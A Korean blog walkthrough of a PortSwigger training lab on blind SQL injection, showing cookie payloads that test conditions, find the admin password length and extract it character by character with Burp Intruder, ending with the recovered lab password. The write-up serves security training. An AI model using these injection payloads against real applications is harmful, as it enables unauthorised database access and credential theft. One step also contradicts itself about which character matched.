Lab: Blind SQL injection with conditional responses

Lab: Blind SQL injection with conditional responses

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

 

Lab: Blind SQL injection with conditional responses | Web Security Academy

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value ...

portswigger.net

 


Blind SQL Injection

 

administrator의 비밀번호를 획득하면 문제 해결

테이블명은 users, 컬럼명은 username, password, 사용자 계정은 administrator

패스워드는 알파벳 소문자와 숫자로만 구성되어있음

정상적으로 실행될때는 Welcom back 문구를 포함하고 있음

[기본 설정] 프록시 설정, ACCESS THE LAB의 주소를 Burp Suite에 설정

 

(1) burp suite에서 패킷을 확인합니다.

쿠키를 보면  TrackingId와 session 값이 있는데 TrackingId는 추적쿠키, session은 사용자 인증 값이라고 유추해 볼 수 있습니다. 

 

(2) 해당 패킷을 Repeater로 보내고 TrackingId에 값을 넣어 SQL Injection이 되는지 확인해봅니다.

입력 > TrackingId=원본값'

입력 > TrackingId=원본값' and 1=2

결과 > Response에 Welcome back이 출력되지 않으므로 실패

입력 > TrackingId=원본값' and 1=1-- 

입력 > TrackingId=원본값' and 'a'='a  

결과 > Response에 Welcome back이 출력되므로 성공

=> SQL 쿼리조작이 가능함을 확인함

 

(3) users라는 테이블이 있는지 확인합니다. (문제에 테이블명을 알려줌: users)

입력 > TrackingId=원본값' and (select 'a' from users limit 1) = 'a

"select 'a' from users limit 1" 값이 참이면 a를 반환하고 끝에 있는 a와 비교하여 같다면 Welcom back 문구를 반환합니다.

=> user 테이블이 있음을 확인함

 

(4) administrator라는 사용자가 있는지 확인합니다.  (문제에 사용자 계정을 알려줌: administrator)

입력 > TrackingId=원본값' and (select 'a' from users where username='administrator') = 'a

=> administrator 사용자가 있음을 확인함

 

(5) 이번에는 and 조건을 하나 더 추가하여 패스워드 길이를 확인합니다. (문제에  패스워드 컬럼명을 알려줌: password)

입력 > TrackingId=원본값' and (select 'a' from users where username='administrator' and length(password) > 1) = 'a

(5)-1 하나씩 값을 넣어 (1,2,3...) 패스워드 길이를 확인합니다. 

이 과정이 귀찮기 때문에 자동화 하기 위해 Intruder를 사용합니다.

자동으로 값을 바꾸고자하는 1을 드래그 >  Add 클릭 > 1 양 옆에 기호 확인 > Payloads 클릭

Payload type을 Numbers로 지정 > 몇번까지 돌릴 건지 설정(From: 1, To: 30; 1부터 30까지 자동화) > Start attack 클릭

아래 검색칸에 Welcome back을 입력하고 1번부터 확인합니다.

또는 Lenght로 확인할 수 있습니다. 19보다는 큰 것을 확인할 수 있습니다. 

=> 패스워드 길이는 20자리 확인

 

(6) 다시 Repeater로 가서 패스워드의 실질적인 값을 확인해야합니다.

입력 > TrackingId=원본값' and (select substring(password,1,1) from users where username='administrator') = 'a

SQL문을 해석하면 "password의 값을 첫번째부터 1개를 추출할건데 그 값이 a인가?" 라는 의미입니다.

=> DBMS에 따라 사용할 수 있는 함수가 다릅니다.

=> MySQL : SUBSTR(), SUBSTRING()

=> Oracle : SUBSTR()

=> SQL Server : SUBSTRING()

 

(6)-1 하나씩 값을 넣어 패스워드 값을 확인합니다. 

이 과정 또한  Intruder를 사용합니다.

자동으로 값을 바꾸고자하는 a를 드래그 >  Add 클릭 > a 양 옆에 기호 확인 > Payloads 클릭

메모장에 a~z까지, 0~9까지 입력하여 바탕화면에 저장합니다. (힌트 확인: 패스워드는 소문자와 숫자로만 구성)

Payload type을 Simple list로 지정 > Load를 클릭하여 만들어둔 txt파일을 open > Start attack 클릭

아래 검색칸에 Welcome back을 입력하고 확인합니다.

또는 Lenght로 확인할 수 있습니다. c값만 Length가 다른 것을 볼 수 있습니다. 

=> 패스워드 첫번째 자리는 t

=> 이런 방법을 20번을 해서 비밀번호를 찾아냅니다...

=> substring(password,1,1), substring(password,2,1), substring(password,3,1) ....

=> 찾은 비밀번호: tohi2jf5n3q2sc648ay3

 

(7) 블로그에서 로그인이 되는지 확인합니다.